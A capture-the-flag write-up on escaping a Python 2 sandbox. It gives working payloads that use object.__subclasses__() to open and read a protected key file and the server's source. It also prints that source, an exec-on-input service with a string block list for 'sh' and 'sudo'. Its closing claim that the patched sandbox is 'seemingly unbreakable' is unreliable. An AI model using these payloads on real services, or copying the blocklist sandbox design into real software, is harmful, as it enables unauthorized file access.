5138 - Escape from Python City
Challenge
I connect to the server and am presented with the following message:
Can you read the key.txt?I type in ls and am presented with the following:
x= ls
Exception: name 'ls' is not defined
Exception: 'NoneType' object has no attribute 'group'I am in a python sandbox and must escape or read the key.txt file somehow. I try to simply type in sh and get the following message:
Good try, but not allowed :-)I notice the exception and figure I am in a try block. So I try to escape any outer loops using continue and break but these both fail. I shortly realise I am assigning some value to x but I can use ; to run multiple commands.
I try to run: 1;print 'test' which sets x to 1 and prints 'test'. This however fails because I realise I cannot use spaces! Going back to the exception I am getting, I see group is being used so my initial reaction is to use regular expressions so the exception does not happen (as the x object will have a .group() attribute).
I try to feed in: re.match(r'(.*)','test')
However, re is not defined! I can't import it in the regular way as that involves a space, I try to use __import__('re') but it is not defined. I also try to run reload(__builtins__) to try and reload the import definition but reload is not defined either.
At this stage I try various things, one being to check to see what variables are defined in the function, I run 1;print(globals()) and get:
{'a': None, 'search': <function search at 0xb7433f44>, 'e': AttributeError("'Non eType' object has no attribute 'group'",), '__builtins__': <module '__builtin__' (built-in)>, '__file__': './level1.py', 'securized': <function securized at 0xb 741dd14>, '__package__': None, 'x': 1, '__name__': '__main__', '__doc__': None}
This tells me I have an a variable as well as an e exception variable! I experiment a little and discover my a variable is actually evaluated before the group() exception is raised. So this allows me to do various things (I experiment a lot at this stage). I notice that file is not defined but object is! I'm going to use object to find the offset of the file subclass.
First I run a short test on my local machine:
counter = 0
for i in object.__subclasses__():
if i == file:
print counter
counter += 1It tells me the offset is at 40 but this is obviously different for the remote machine. I eventually find that file is at offset 58 on the remote machine (trial and error).
I can now try to call file with the path of key.txt as the argument and I will attempt to call read() on the object which should allow me to read the file.
I try the following (setting a to what I want to be evaluated):
a=object.__subclasses__()[58]("./key.txt").read()Unfortunately, the remote host instantly terminated the connection. This is because I used the phrase key.txt. I use a bit of trickery here and try the following instead:
a=object.__subclasses__()[58]("./KEY.TXT".lower()).read()This prints out the key.txt file!
Contents:
key{get_y0ur_pyth0nized_k3y!}Bonus
Since we leaked the name of the python script before, we can actually leak the python source too.
We run:
a=object.__subclasses__()[58]("./level1.py").read()And get the source:
#!/usr/bin/env python
# config with socat
# Use socat to run as a listening service
# socat TCP-LISTEN:1337,fork EXEC:./level1.py,pty,stderr
def securized():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import search
securized()
print 'Can you read the key.txt?'
while True:
try:
x = search('\S+', raw_input()).group(0)
if "key.txt" in x:
print "Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)"
exit()
if "sudo" in x:
print "Good try, but too dangerous !"
exit()
if "sh" in x:
print "Good try, but not allowed :-)"
exit()
print "x=", x
a = None
exec 'x=' + x
print 'you got:', a
except Exception, e:
print 'Exception: ', eSecurity Questions
1,2,3: See above
4. Explain mitigation (remedy)
The issue here is that I was able to call __subclasses__(). The sandbox needs to undefine this (add it to the UNSAFE list) and block all commands that contain __. With that change the sandbox is much stronger and seemingly unbreakable.